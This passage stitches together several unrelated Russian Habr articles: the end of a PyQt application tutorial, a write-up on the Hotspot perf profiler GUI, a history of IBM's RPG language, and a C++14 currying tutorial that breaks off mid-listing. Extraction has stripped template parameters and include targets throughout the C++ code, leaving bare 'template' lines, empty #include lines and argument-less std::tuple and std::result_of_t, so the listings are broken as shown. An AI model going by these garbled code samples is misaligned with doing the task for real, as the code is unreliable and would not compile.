В отличие от wx Qt генеруют не наследники классов главных окон, а классы- модификаторы которые получают в качестве аргумента базовый класс окна и «вешают» на него ваши контролы. При генерации на с++ Qt использует множественное наследование класс вашего приложения становится наследником класса базового окна и класса-модификатора. Интересно что при генерации файлов слоты pyuic вешаются на базовый класс, отсюда несоответствие — обработчики сигналов находятся в наследнике базового класса окна, а ссылки на контролы этого же окна находятся у класса-модификатора сгенерированного pyuic.
````
def _initApp(self):
self.mwnd, self.mwnd.ui = MainWnd(), Uwnd()
self.mwnd.ui.setupUi(self.mwnd)
````
Я поступил просто: связал класс-модификатор с наследником базового класса окна, получилось просто при необходимости обращения к контролам общаюсь к ним как — self.ui.«name». Вроде очевидная штука, но как часто это бывает пришла ко мне в голову не с первого раза.
**!** Еще интересно что в питон не переваривает ключевые слова в названиях атрибутов и методов классов, поэтому вы не можете завести переменную self.pass или self.exec(). Отсюда и смешная надпись в каждой PyQt приложении sys.exit(app.exec\_())
#### 3. Ставим скороводку на плиту, или запуск приложения
Вот код main.py — его задачи запуститься, загрузить файл настроек, запросить пароль и в случае удачного подключения запустить главное окно приложения
[main.py](http://pastebin.com/d4df42363)
#### 4. Не забудем положить яица в яичницу.
Наследник главного окна приложения (MainWnd) выполняет функции отслеживания поведения пользователя, здесь кстати видны слоты которые мы сгенерировали в дизайнере, здесь основная задача кода максимально прозрачные и простые функции управления окном для основного класса приложения выполняющего загрузку файла в БД.
Класс выполняющий основную функцию приложения — парсинг и загрузку данных (MainModel) не имеет смысла без главного окна поэтому сделаем его атрибутом окна. Для парсинга xls файлов в питоне есть тривиальная в использовании, и тем замечательная библиотека xlrd, работает с файлом напрямую не поднимая громоздких OLE машин, и поэтому еще и более быстродейственна. Приложение позволяет загружать в режиме только измененных файлов, поэтому часть когда MainModel, уведено для сравнения дат модификации и последней загрузки, которая хранится в БД. Так кроме главного рабочего класса приложения никто с БД не общается даем ему небольшой класс (dbConn), которые хранит инструкции MainModel в «терминах» sql.
[WndModel.py](http://pastebin.com/m366ad394)
Вообще по науке, есть некая неуклюжесть программы из-за протягивания переменных (например app) с класса Container до классов 2 уровня иерархий. В больших программах таких переменных становится чуть более чем ~~9000~~ много, и эта задача решается с помощью синглтона (в следующий раз это я учту).
В итоге мы получили шаблон приложения, который вы можете использовать в своих целях, выбрасываете WndModel.py, пишите свой наследник базового окна, свой класс реализующий ваши задачи — и вроде бы все теперь оно даже работает.
P.S. Полный исходный код [здесь](http://smstwit.ru/media/buf/scan.7z)
UPD. вынес код на внешний кодохранитель, если кто подскажет как корректно подсветить python-код на Хабре буду благодарен. | https://habr.com/ru/post/73643/ | null | ru | null |
# Как мы добавили оттенок совершенства в инструмент для анализа производительности Linux Perf GUI (Hotspot)
В ходе выполнения одного из наших проектов мы усовершенствовали профилировщик Linux Perf GUI разработкой его новой функциональности.
Потребности заказчика можно выразить следующими характеристиками желаемого профилировщика:
* иметь инструмент анализа производительности для определенного набора архитектур;
* иметь возможность делать глубокий анализ производительности с точностью до инструкции в дизассемблированном коде;
* иметь средство просмотра и работы с выводом дизассемблированного кода в удобном GUI для такого набора архитектур — x86\_64, ARMv7, ARMv8.
То есть требовался профилировщик, который должен:
* быть кросс-платформенным;
* уметь генерировать дизассемблер для функций для архитектур из этого набора — x86\_64, ARMv7, ARMv8;
* отображать результаты и взаимодействовать с пользователем через GUI и поддерживать юзабилити.
Для удовлетворения потребностей заказчика, нами был разработан новый компонент системы — кросс-платформенный дизассемблер с генерацией кода для x86\_64, ARMv7, ARMv8 (функциональность и GUI для работы с его выводом).
Посмотрим на примере простого демо С++ кода на Hotspot в действии и возможности для анализа производительности, которые он предоставляет. Пример:
```
cat demo.cpp:
#include
int g (int arg) {
return abs(rand()) \* arg;
}
int f() {
int i = 1;
int res = 1 ;
std::cout << abs(rand()) << std::endl;
while (i < 1000000) {
res += i \* g(res);
i++;
}
std::cout << res << std::endl;
return res;
}
int main() {
std::cout << f() << std::endl;
return 0;
}
```
Компилируем, собираем наше демо-приложение:
```
g++ demo.cpp -o demo
```
Запускаем наш профилировщик:
```
./hotspot
```
Шаг 1 — собираем и записываем данные в perf.data файл.
Это можно сделать двумя способами — с командной строки при помощи явного вызова perf
```
record -o /home/demo/perf.data --call-graph dwarf ./demo
```
Либо при помощи Hotspot меню File->Record Data.
Для нашего демо собираем события типа cycles, но можно задать любой другой или набор типов событий (cache-misses, instructions, branch-misses и др.)
Жмем Start Recording, ждем, пока загорится View Results:
Погружаемся в мир анализа производительности.
Здесь нас ждет сводная информация и чемпионы среди потребителей времени исполнения нашего demo.
Цепочки вызовов в обоих направлениях – от вызываемого к вызывающему методу (Bottom Up) и наоборот (Bottom Down) с временами (весами).
Flame Graph и данные о производительности, времени исполнения по каждой
значимой для него функции/методу.
Чтобы получить более детальную информации о заинтересовавшей нас функции, с распределением событий внутри нее (с точностью до инструкции дизассемблированного кода), жмем Disassembly пункт контекстного меню. Оно открывается по right-click на приглянувшейся функции:
Теперь мы знаем об этой функции все!
Можно перемещаться по стеку вызовов. Двойной щелчок мыши на подсвеченной синим цветом инструкции вызова. И перед нами дизассемблер для вызываемой функции g(int). Здесь у инструкции, потребляющей процессорное время, нет конкурентов.
Ctrl+B, Ctrl+D — и перед нами еще и машинные коды команд, а дизассемблер сгенерирован при помощи objdump. В предыдущих случаях был показан код, полученный вызовом perf annotate.
Загорелась кнопка Back, можно двигаться по стеку вызовов в обоих направлениях!
Переходим и двойным щелчком мыши по инструкции с адресом 1236 перемещаемся на инструкцию с адресом 124f. И снова доступен переход обратно на инструкцию с адресом 1236.
Ctrl+B, Ctrl+I переключает нас на Intel синтаксис Ассемблера:
Порадуемся возможности поискать текст по введенному шаблону, например, использование регистра %rsp:
И…не сходя с места, перемещаемся на ARM. Для этого нам понадобятся, в основном, две сущности – исполняемый файл пользовательского приложения, собранный на ARM, и perf.data файл для него, записанный там же. В нашем демо – это coremark.1.exe и perf.1.fp.cycles.data, собранные на ARMv8. Кладем их в /home/demo/armv8/ и загружаем perf.data –
Таким образом, мы не только выполнили поставленные заказчиком задачи, но и перевыполнили их – в частности, вычисление и отображение распределения событий по инструкциям дизассемблера позволяет делать глубокий анализ с точностью до инструкции, которую можно связать со строкой в коде, программа имеет GUI — удобный интерфейс с настройками кросс-профилирования.
По договоренности с нашими партнерами Linux perf gui Hotspot распространяется на условиях GNU General Public License (Открытое лицензионное соглашение GNU). Иными словами, мы предоставляем всем желающим пользователям право бесплатно копировать, модифицировать и распространять эту программу-профилировщик.
[Вместе с инструкцией по скачиванию и установке он размещен на GitHub](https://github.com/NIPS-team/NIPS-hotspot). Все желающие могут с ним ознакомиться и оценить по достоинству.
Приглашаем и вас, взяв в путеводители Linux Perf GUI (Hotspot), в увлекательное путешествие по вашему приложению и особенностям его работы, окунуться в элитную атмосферу ассемблерных команд, посетить различные архитектуры и многое другое. | https://habr.com/ru/post/525560/ | null | ru | null |
# Первый взгляд на RPG: оказывается, это не только ролевые игры
Многие из вас слышали об одном из старейших языков программирования COBOL, а также о том, что как сильно сейчас нужны COBOL-программисты для поддержки старого кода. Существует еще один «старожил», о котором знают немногие, который используется сейчас и будет использоваться еще достаточно долгое время для написания программ в различных сферах человеческой деятельности (финансовой, банковской и др.). Имя этому языку — IBM RPG.
Once upon a time...
-------------------
**RPG** — проприетарный язык программирования высокого уровня, являющийся собственностью корпорации IBM, для создания бизнес-приложений. Последние версии языка доступны только для операционной системы IBM i (и ее прошлых версий под старым названием OS/400).
У RPG более чем полувековая история. К концу 50-х IBM выпустила огромное количество электромеханических машин, называемых табуляторами. Последним серийным табулятором стала модель IBM 407 Accounting Machine:
*Рисунок 1. IBM 407 в Арсенале армии США в 1961 году.*
К слову, аренда такого табулятора в зависимости от модели стоила от $800 до $920 в месяц (в перерасчете на современный доллар — от $8100 до $9300), а прекращена их продажа была 17 декабря 1976 года.
Как известно, технический прогресс не стоял на месте, и к концу 50-ых годов стали появляться транзисторные компьютеры. Первым таким компьютером для IBM стал IBM 1401, вышедший в 1959 году:
*Рисунок 2. IBM 1401 в Центре истории и наследия Эндикотта.*
В Музее компьютерной истории находится вполне рабочий экземпляр, я думаю, вам будет интересно посмотреть, как все это работало (особенно «доставляют» слова "*We need a little bit of cooling*" на [4:41](https://youtu.be/PwftXqJu8hs?t=4m41s)):
Для упрощения перехода своих клиентов на новые транзисторные компьютеры в 1959 году также были придуманы сразу два инструмента, имитирующие процесс обработки перфокарт на компьютере — FARGO (Fourteen-o-one Automatic Report Generation Operation) и RPG (Report Program Generator). Синтаксис обоих языков был схож с командным языком электромеханических табуляторов. Кроме этого, FARGO и RPG повторяли важную особенность табуляторов: они эмулировали их циклический режим работы (программный цикл), во время которого табуляторы считывали данные с перфокарт, суммировали их и печатали результаты. IBM и на сегодняшний момент обеспечивает обратную совместимость с программным циклом даже в последнем диалекте RPG IV.
Хоть RPG и создавался под влиянием FARGO, уже через несколько лет RPG вытеснил своего предшественника как более перспективный вариант. А следующей системой, куда «подвезли» RPG, был мейнфрейм IBM System/360 Model 20:
*Рисунок 3. IBM System/360 Model 20 в Немецком музее.*
А уже через пару лет (конец 60-ых) IBM предоставляет следующий диалект языка — RPG II — для среднего компьютера System/3:
*Рисунок 4. Средний компьютер IBM System/3 Model 10 с оператором.*
С тех пор RPG развился в высокоуровневый аналог языков COBOL и PL/I. Отличительной особенностью языка (по сравнению с современными) являлся «фиксированный формат» синтаксиса, затруднявшим чтение программ без специального отладочного шаблона.
*Рисунок 5. Отладочный шаблон.*
Программы начинались со *спецификаций файлов* (File Specifications) — списка всех файлов, подлежащих чтению, записи или обновлению. За ними шли *спецификации определений данных* (Data Definition Specifications) — список элементов программы, таких как структуры данных или массивы. Этот блок напоминает секцию рабочей памяти (Working-Storage) в языке COBOL или команды с ключевым словом «var» в Паскале. Для указания типа переменной в колонку 40 спецификации определений записывается соответствующий символ (см. таблицу ниже). Если он опущен, т.е. вместо него стоит пробел, то типом по умолчанию будет ***A*** при условии, что не заданы десятичные разряды. В противном случае типом по умолчанию будет ***P***.
| | | | |
| --- | --- | --- | --- |
| Тип данных | Название | Длина | Описание |
| \* | Указатель на базированную переменную
Указатель на процедуру
Системный указатель | 16 байт | Обращение к данным
Обращение к активированной процедуре
Обращение к объектному файлу |
| A | Буквенно-цифровой символ | От 1 до 16 773 104 байт (фиксированная длина)
От 1 до 16 773 100 байт (переменная длина) | Буква или цифра |
| B | Двоичное число | 1 байт (8-бит)
2 байт (16-бит)
4 байт (32-бит)
8 байт (64-бит) | Двоичное целое число со знаком |
| C | Символ в кодировке UCS-2 | От 1 до 8 386 552 символов (фиксированная длина)
От 1 до 8 386 550 символов (переменная длина) | 16-битный символ в кодировке UCS-2 (набор символов DBCS или EGCS) |
| D | Дата | 10 байт | Дата: год, месяц, день |
| F | Число с плавающей точкой | 4 байт (32-бит)
8 байт (64-бит) | Двоичное вещественное число с плавающей точкой, со знаком |
| G | Графический символ | От 1 до 8 386 552 символов (фиксированная длина)
от 1 до 8 386 550 символов (переменная длина) | 16-битный графический символ (набор символов DBCS или EGCS) |
| I | Целое число | 1 байт (8-бит)
2 байт (16-бит)
4 байт (32-бит)
8 байт (64-бит) | Двоичное целое число со знаком |
| N | Индикатор символа | 1 байт | '1' = TRUE
'0' = FALSE |
| O | Объектный файл | Размер неизвестен | Ссылка на объектный файл |
| P | Упакованное десятичное число | От 1 до 63 цифр,
по 2 цифры на байт плюс знак | Десятичное число с фиксированной точкой, со знаком, с целой и дробной частями |
| S | Распакованное десятичное число | От 1 до 63 цифр,
по 1 цифре на байт | Десятичное число с фиксированной точкой, со знаком, с целой и дробной частями |
| T | Время | 8 байт | Время: час, минута, секунда |
| U | Целое число | 1 байт (8-бит)
2 байт (16-бит)
4 байт (32-бит)
8 байт (64-бит) | Целое число без знака |
| Z | Метка времени | 26 байт | Дата и время: год, месяц, день, час, минута, секунда, микросекунды |
Далее указывались *спецификации вычислений* (Calculation Specifications) — список команд для исполнения. Также могли добавляться *спецификации вывода* (Output Specifications), определяющие вид выходных файлов или отчетов.
Приведу также дополнительную информацию о всех типах спецификаций:
* U — спецификация автоотчета (Auto Report), требуется только для программ с автогенерируемым отчетом.
* H — спецификация заголовков (Header), служит началом программы и описывает такие опции компилятора, как максимальный размер объектного кода, листинг компиляции, а также флаг поддержки доступа с нескольких терминалов (Multiple Requestor Terminal, MRT). Имя объектной программы записывается в колонки 75-80; если спецификация заголовков отсутствует, используется имя по умолчанию RPGOBJ.
* F — спецификации файлов (File). Здесь описываются файлы, используемые в программе. Это могут быть как файлы на диске (DISK), так и устройства, такие как принтер (PRINTER), рабочая станция (WORKSTN), клавиатура (KEYBORD), неформатируемый дисплей (CRT или DISPLAY) либо пользовательское устройство (SPECIAL). Здесь же описывается размер записей и блоков, индикаторы переполнения и внешние индикаторы. Спецификации F могут отсутствовать.
* E — спецификации расширений (Extension), описывают массивы и таблицы, предварительно извлекаемые из файлов на диске (таблицы ввода) или констант в конце исходного кода между символами \*\* и /\* либо собираемые по итогам вычислений.
* L — спецификации счетчика строк (Line Counter). Если присутствуют, то описывают формат вывода на печать: количество строк на странице и границы начала и конца печати.
* I — спецификации ввода (Input): описывают области данных внутри файлов. RPG II разрешает переопределять области данных, так что поле FLDA может занимать ту же область, что и массив AR, содержащий 8 односимвольных элементов. Здесь же могут описываться области, не являющиеся записями, например, структуры данных. Индикаторы могут использоваться в условиях, зависящих от значений входящей записи.
* C — спецификации вычислений (Calculation). Здесь описываются и наращиваются поля для итоговых результатов. Над ними можно проводить сложные вычисления и операции со строками. Индикаторы могут использоваться в условиях.
* O — спецификации вывода (Output), которые описывают поля и границы выходящей записи.
А теперь небольшой пример для разминки ваших глаз (опущены спецификации файлов и определений данных):
```
* Звездочка (*) в колонке 7 определяет строку-комментарий
* В колонке 6 пишется спецификация одним символом. Определяет,
* что будет происходить в строке (например, раздел объявлений,
* раздел вычислений, ...).
* Спецификация "C" (calculation) - вычисление
C HOURS IFLE 40
C HOURS MULT RATE PAY
C ELSE
C RATE MULT 40 PAY 72
C HOURS SUB 40 OTIME 30
C RATE MULT 1.5 OTRATE 94
C OTRATE MULT OTIME OTPAY 72
C ADD OTPAY PAY
C END
```
Код сложен для восприятия, не правда ли? А здесь всего лишь производится расчет налога на заработную плату для сотрудника с почасовой оплатой труда (работники, переработавшие 40 часов, получают полуторную ставку).
В 1978 году IBM представляет одновременно средний компьютер System/38 и новый диалект языка — RPG III — для него:
*Рисунок 6. Средний компьютер IBM System/38*
С этого момента ограничения языка несколько ослабляются и разрешается писать спецификации вычислений в «свободном формате»:
```
/free
If Hours <= 40;
Pay = Hours * Rate;
Else;
Pay = (40 * Rate) + ((Hours - 40) * (Rate * 1.5));
EndIf;
/end-free
```
И, наконец, последняя версия диалекта — RPG IV (иначе RPGLE, ILE RPG) — вышла в 1994 году. Тремя основными «фичами» можно назвать встроенные функции, процедуры и «свободный формат» программирования. До ноября 2013 года свободный формат был доступен только для спецификаций вычислений. В обновлении V7R1 TR7 команды "/free" и "/end-free" были упразднены, а язык наконец-то освободился от наследия эпохи перфокарт.
Предлагаю также ознакомиться с данной [брошюрой](http://www.tug.ca/MoMHandouts/2013-11-20/Free_Form_RPG_TUG_Nov_2013.pdf), в которой IBM показывает, как сильно изменился диалект языка. Сам же язык широко используется сейчас под ОС IBM i на аппаратной платформе IBM Power i:
*Рисунок 7. Линейка серверов IBM Power i*
В общей сложности, язык RPG успел побывать на таких компьютерах, как 1401, System/360, System/3, System/32, System/34, System/36, System/38, AS/400 и System i. Имелись и реализации для платформ Digital VAX, Sperry Univac BC/7, Univac system 80, Siemens BS2000, Burroughs B700, B1700, Hewlett Packard HP3000, серии ICL 2900, Honeywell 6220 и 2020, серий Four-Phase IV/70 и IV/90, Singer System 10 и WANG VS, а также разнообразные компиляторы и среды исполнения для Unix-систем, например, Infinite36 (бывшая Unibol 36), и PC (Baby/400, Lattice-RPG).
К настоящему времени язык RPG развился в сильный, жизнеспособный язык. Программы можно по-прежнему писать в обычном редакторе в черно-зеленой гамме (green-screen):
*Рисунок 8. Green-screen.*
Однако появилось и множество других инструментов. Среди них — Visual Age для RPG, разработанные IBM и продвигаемые Джоном Пэрисом (Jon Paris) и другими. Наиболее популярным редактором на данный момент является IBM Websphere Development Studio, позднее переименованный в RDi (Rational Developer for i), являющийся пользовательской реализацией Eclipse:
*Рисунок 9. Rational Developer for i.*
Также компилятор RPG реализован для платформы [Microsoft .NET](https://asna.com/us/products/visual-rpg). Помимо базовой версии в него входят дополнительные расширения языка RPG IV, что позволяет Microsoft Windows и .NET пользоваться окружением Native и System/36, а также портировать файлы DB/2 в базы данных Microsoft Access и Microsoft SQL Server через интерфейс ODBC.
Заключение
----------
Хоть язык и представляет собой экзотику, мы понимаем, что на нем написано много кода для финансовой, банковской и других видов деятельности. Он достаточно многообразен: существует 4 диалекта, фиксированная и свободная формы синтаксиса. Необходимость в поддержке старого и написании нового кода вынуждает компании искать [RPG-программистов](https://www.indeed.com/q-IBM-Rpg-Programmer-jobs.html), которые, по-видимому, уже занесены в Красную книгу. В таких условиях возникает потребность в использовании дополнительных инструментов по контролю качества кода, например, таких как статический анализатор.
Возможно, читатель уже догадался, почему мы решили написать эту статью, и к чему мы клоним. Да, мы [подумываем](https://www.viva64.com/ru/b/0547/) создать статический анализатор кода для языка RPG. Думаю, такой анализатор станет отличным подспорьем тем, кто продолжает сопровождать и развивать программы на этом языке. Однако, решение ещё не принято. Думаю, вы понимаете, что это весьма специфическое направление.
Поэтому, если вы хотите, чтобы анализатор [PVS-Studio](https://www.viva64.com/ru/pvs-studio/) научился искать ошибки в RPG программах, то напишите нам. Мы ищем Вас, уважаемых потенциальных клиентов PVS-Studio RPG. [Пишите](https://www.viva64.com/ru/about-feedback/) нам!
[](https://www.viva64.com/en/b/0548/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Phillip Khandeliants. [A first look at RPG: turns out it's not only Role-Playing Games](https://www.viva64.com/en/b/0548/) | https://habr.com/ru/post/345064/ | null | ru | null |
# Каррируем на C++
Привет, хабр.
Сидел я как-то вечером, ждал, пока соберется свежая ревизия clang, и смотрел на код *одного своего проекта*, в котором встречались не очень красивые вещи вроде
```
std::transform (someContainer.begin (), someContainer.end (), std::back_inserter (otherContainer),
[this] (const SomeUglyAndLongType& item) { return HandleItem (item); });
```
Зачем создавать целую лямбду, чтобы у функции двух аргументов (если, как пишут классики, `this` считать неявным нулевым аргументом) зафиксировать один из них? На каком-нибудь псевдохаскеле можно было бы просто написать что-то вроде
```
map (handleItem this) someContainer
```
Мапы, функторы и прочие монады сделаем как-нибудь в следующий раз, а вот вещи, напоминающие `(handleItem this)` можно попробовать научиться писать.
Итак, что хочется сделать? Хочется научиться [каррировать](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) произвольные функции, то есть, вызывать их по «кусочкам» — передали первый аргумент, получили какую-то новую функцию одного аргумента, передали второй, получили новую функцию, и так далее, пока все аргументы для нашей исходной функции не будут переданы. Когда аргументы кончились, переходим на личности и вызываем нашу исходную функцию со всеми указанными аргументами.
Или, если вдруг кому так понятнее будет, нужно из функции N аргументов T1 × T2 ×… × TN → R сделать последовательность функций T1 → (T2 → (… → (TN → R))). Хотя, кому так понятнее, тот и наверняка и без меня знает, что такое каррирование.
Сразу предупреждаю, что решение получится не production-quality по ряду причин, которые мы обсудим чуть позже.
Что нам для этого понадобится? Понадобится свежий компилятор с поддержкой C++14, например, clang 3.4 и новее. Нужна и стандартная библиотека из C++14, на некоторых линуксах с этим могут быть проблемы, так что с кодом можно играться и на онлайн-сервисах вроде [этого](http://melpon.org/wandbox/).
Как должен выглядеть результат наших попыток сделать из C++ хаскель на, собственно, плюсах? Ну, например, как-нибудь так:
```
auto test (int t1, int t2, double t3, const std::string& str)
{
return t1 * t2 * t3 * str.size ();
}
// ...
std::cout << curry (test) (1) (2) (3.0) ("four") << std::endl;
```
Естественно, свободными функциями `curry` ограничиваться не должно.
Что нам нужно сделать? Да всего-ничего, написать функцию curry. Ну так давайте и напишем!
Пусть `curry (f)` возвращает какой-нибудь объект (назовём его `CurryImpl`), которому, очевидно, нужна будет функция `f`, которую мы передали в `curry`, а ещё у него должен быть перегружен `operator()`, и по условию задачи он должен принимать один аргумент непонятно какого типа, и непонятно что возвращать. Естественно, `CurryImpl` шаблонный, чтобы уметь запоминать любые функции:
```
template
class CurryImpl
{
const F m\_f; // наша функция, переданная в curry
public:
CurryImpl (F f)
: m\_f { f }
{
}
template
auto operator() (const T& arg) const
{
// осталось тут что-то написать
}
};
template
auto curry (F f)
{
return CurryImpl { f };
}
```
Давайте теперь посмотрим на оператор-круглые-скобки. Итак, этот оператор принимает один аргумент `arg` и либо вызывает искомую функцию `m_f`, если это последний аргумент в цепочке вызовов, либо возвращает другой объект, который запомнил этот `arg`.
Сначала разберёмся с тем, как запоминать аргументы.
Ну, тут на самом деле все довольно тривиально: нужно их просто брать и хранить в `CurryImpl`. Про эти аргументы мы ничего не знаем, равно как и про их типы, поэтому придётся добавить ещё один аргумент шаблона, да ещё и с вариадик. Непосредственно хранить значения аргументов можно, например, в `std::tuple`. Сообщать нашему `CurryImpl` про эти аргументы можно непосредственно в конструкторе. Итого, объявление класса модифицируется как-то так:
```
template
class CurryImpl
{
const F m\_f;
const std::tuple m\_prevArgs;
public:
CurryImpl (F f, const std::tuple& prev)
: m\_f { f }
, m\_prevArgs { prev }
{
}
// а дальше все как раньше
};
```
Так, хорошо, с хранением разобрались, теперь осталось вызывать функцию. Тут всё становится немного интереснее: а как, собственно, определить, когда стоит прекратить накапливать аргументы и, собственно, вызвать `m_f`? А просто взять и вызвать, если получится — всё отлично!
А поможет нам в этом одно замечательное правило C++ — SFINAE, или Substitution Failure Is Not An Error. Если вкратце, [в данном контексте] суть в том, что, если компилятор при выборе кандидатов на вызов функции среди ряда перегруженных функций видит некое некорректное выражение в *объявлении* функции, то он её отбрасывает и смотрит дальше вместо `error` в консоли и слишком рано завершённой компиляции. Собственно, все эти `std::enable_if` и компания основаны именно на SFINAE.
Итак, SFINAE. Напишем функцию, которая будет вызывать нашу исходную `m_f` только тогда, когда такой вызов будет well-formed. В этом нам поможет замечательная шаблонная функция `std::result_of`. `std::result_of` определяет вложенный тип `type`, равный типу, возвращаемому объектом F, если он вызван с аргументами типа T1, T2,… Подробнее она описана, например, [здесь](http://en.cppreference.com/w/cpp/types/result_of). Собственно, ключевые слова по ссылке, для C++14:
> Only defined if F can be called with the arguments ArgTypes… in unevaluated context.
>
>
Для C++11 формулировка слегка другая, но это несущественно.
Кстати, в C++14 можно пользоваться удобным синонимом `std::result_of_t<...>` вместо `typename std::result_of<...>::type`.
Итак, пишем нашу функцию:
```
template
std::result\_of\_t invoke (const T& arg) const // PrevArgs — аргумент CurryImpl, как мы помним
{
// тут как-то вызываем нашу m\_f и возвращаем её результат
}
```
Как это работает? Если `m_f`, которая типа `F`, можно вызвать со всеми предыдущими аргументами и текущим, то всё хорошо, функция «существует», если нельзя — компилятор её и не рассматривает.
Если же вызвать функцию нельзя, то должна быть другая `invoke`, которая тоже принимает один аргумент, запоминает его и рекурсивно возвращает новый объект с оператором-круглые-скобки и всем прочим. Как-то так, например:
```
template
auto invoke (const T& arg) const
{
return CurryImpl { m\_f, std::tuple\_cat (m\_prevArgs, std::tuple { arg }) };
}
```
Что мы тут сделали? Вернули новый `CurryImpl`, который сохраняет все предыдущие аргументы плюс один новый. На уровне типов это отражается в записи `PrevArgs..., T`, если хотите, добавляющей `T` в variadic-список типов, а на уровне значений — просто соединяем два кортежа, старый `m_prevArgs` и новый одноэлементный кортеж.
Посмотрим снова на наш оператор-круглые-скобки. Теперь понятно, что мы должны в нём вызвать одну из наших двух перегрузок `invoke`, по возможности первую, которая вызывает функцию, а то так можно никогда не перестать копить аргументы. Как это сделать? Тут есть куча вариантов, мой любимый в таких случаях — использовать тот факт, что любая перегрузка лучше, чем перегрузка с эллипсисом (aka многоточие, aka вариадики C-стайл). То есть, добавляем ещё один параметр, который даже не будем использовать, например, `int` в первую функцию и `...` во вторую, и получаем что-то подобное:
```
template
auto operator() (const T& arg) const
{
return invoke (arg, 0);
}
private:
template
std::result\_of\_t invoke (const T& arg, int) const
{
// тут как-то вызываем нашу m\_f и возвращаем её результат
}
template
auto invoke (const T& arg, ...) const
{
return CurryImpl { m\_f, std::tuple\_cat (m\_prevArgs, std::tuple { arg }) };
}
```
То есть, если первая перегрузка доступна, всегда будет выбираться она: `int` компилятору нравится куда больше, чем `...`
Осталось разобраться с вызовом функции из первой перегрузки, и всё будет хорошо.
Что нужно, чтобы вызвать функцию, аргументы которой (с точностью до `arg`) хранятся в кортеже? Надо как-нибудь распаковать тот кортеж и передать результаты распаковки в функцию как обычные аргументы. Проблема в том, что в точке вызова мы не знаем на этапе написания кода, сколько у нас аргументов, поэтому просто взять и руками подёргать `std::get` мы не можем. Ну и славно, негоже в 2014 году работу за компилятор делать. Вот был бы у нас какой-нибудь способ сделать вариадик из чисел от 0 до N-1, мы могли бы написать что-то такое:
```
// в Is лежат числа от 0 до (количество элементов в m_prevArgs)-1
template
auto invokeIndexed (const T& arg /\*, тут ещё что-то, чтобы Is вывелся компилятором сам\*/) const
{
return m\_f (std::get (m\_prevArgs)..., arg);
}
```
Здесь по правилам разворачивания variadic-параметров выражение ```std::get (m_prevArgs)... развернётся компилятором в std::get (m_prevArgs), std::get (m_prevArgs), и так далее для всех индексов Is`.
А, стоп, так в точности такой вариант можно сделать на тех же вариадиках в C++11, а в C++14 его даже [добавили](http://en.cppreference.com/w/cpp/utility/integer_sequence) в STL! Замечательно, всё встаёт на свои места. Идём по ссылке, видим замечательный метод `std::index_sequence_for`, который нам как раз нужен (у нас ведь на руках есть `PrevArgs...`), и пишем в теле нашей первой `invoke` вызов `invokeIndexed`:
```
return invokeIndexed (arg, std::index_sequence_for {});
```
А `invokeIndexed` тогда вторым параметром должна принимать `std::index_sequence`, которая как раз и отвечает за хранение списка чисел:
```
template
auto invokeIndexed (const T& arg, std::index\_sequence) const
{
return m\_f (std::get (m\_prevArgs)..., arg);
}
```
Отлично! Всё работает! На радостях пишем то, с чего начинался пост, вроде такого:
```
struct Foo
{
auto doFoo (int baz, int qux)
{
return (m_bar + baz) / qux;
}
};
// ...
Foo someFoo;
const auto fooRes = Curry (&Foo::doFoo) (&someFoo) (2) (4);
```
И сразу же компилятор возвращает нас в жестокую реальность: выражение `m_f (arguments)` не является well-formed, если `m_f` — указатель на функцию-член класса.
Впрочем, как учили нас классики, любая проблема решается добавлением ещё одного уровня абстракции, поэтому добавим ещё один уровень, который будет ответственен непосредственно за вызов функции с аргументами. Уровень будет представляться в виде шаблонной структуры, параметризуемой типом нашей `m_f`, и будет иметь шаблонный оператор-круглые-скобки. Опишем сначала общий случай, когда мы просто берём и вызываем нашу функцию:
```
template
struct Invoke
{
template
auto operator() (IF fr, IArgs... args)
{
return fr (args...);
}
};
```
Перепишем `invokeIndexed`:
```
template
auto invokeIndexed (const T& arg, std::index\_sequence) const
{
return Invoke {} (m\_f, std::get (m\_prevArgs)..., arg);
}
```
К счастью, для частных случаев указателей на функции-члены никаких SFINAE не нужно, можно просто специализировать наш `Invoke`, да и выбирать из списка аргументов `Args...` первый — по соглашению он и будет нашим объектом, на котором нужно вызвать функцию. При этом ещё не забудем, что первый аргумент может быть как указателем на класс, так и ссылкой, и хочется поддерживать оба варианта вызова:
```
template
struct Invoke
{
auto operator() (R (C::\*ptr) (Args...), C c, Args... rest)
{
return (c.\*ptr) (rest...);
}
auto operator() (R (C::\*ptr) (Args...), C \*c, Args... rest)
{
return (c->\*ptr) (rest...);
}
};
```
Кстати, между ними есть принципиальная разница, очевидная, конечно, но проговорить стоит: в первом случае изменения затронут локальную копию `c`, а во втором они будут видны и извне, на объекте, который в один из операторов-круглые-скобочки мы передали. То есть:
```
struct Foo
{
int m_state = 42;
auto doFoo (int bar)
{
m_state += bar;
return m_state;
}
};
Foo foo;
curry (&Foo::doFoo) (foo) (1); // foo.m_state всё ещё 42
curry (&Foo::doFoo) (&foo) (1); // foo.m_state теперь 43
```
Вот, в общем-то, и всё.
**Всё вместе**
```
#include
#include
#include
#include
#include
template
class CurryImpl
{
const F m\_f;
const std::tuple m\_prevArgs;
public:
CurryImpl (F f, const std::tuple& prev)
: m\_f { f }
, m\_prevArgs { prev }
{
}
template
auto operator() (const T& arg) const
{
return invoke (arg, 0);
}
private:
template
std::result\_of\_t invoke (const T& arg, int) const
{
return invokeIndexed (arg, std::index\_sequence\_for {});
}
template
struct Invoke
{
template
auto operator() (IF fr, IArgs... args)
{
return fr (args...);
}
};
template
struct Invoke
{
auto operator() (R (C::\*ptr) (Args...), C c, Args... rest)
{
return (c.\*ptr) (rest...);
}
auto operator() (R (C::\*ptr) (Args...), C \*c, Args... rest)
{
return (c->\*ptr) (rest...);
}
};
template
auto invokeIndexed (const T& arg, std::index\_sequence) const
{
return Invoke {} (m\_f, std::get (m\_prevArgs)..., arg);
}
template
auto invoke (const T& arg, ...) const
{
return CurryImpl { m\_f, std::tuple\_cat (m\_prevArgs, std::tuple { arg }) };
}
};
template
auto curry (F f)
{
return CurryImpl { f, {} };
}
auto test (int t1, int t2, double t3, const std::string& str)
{
return t1 \* t2 \* t3 \* str.size ();
}
struct Foo
{
int m\_bar;
auto doFoo (int baz, int qux)
{
auto result = (m\_bar + baz) / qux;
++m\_bar;
return result;
}
};
int main ()
{
const auto res = curry (test) (1) (2) (3.0) ("four");
std::cout << res << std::endl;
Foo someFoo { 42 };
const auto fooRes = curry (&Foo::doFoo) (&someFoo) (2) (4);
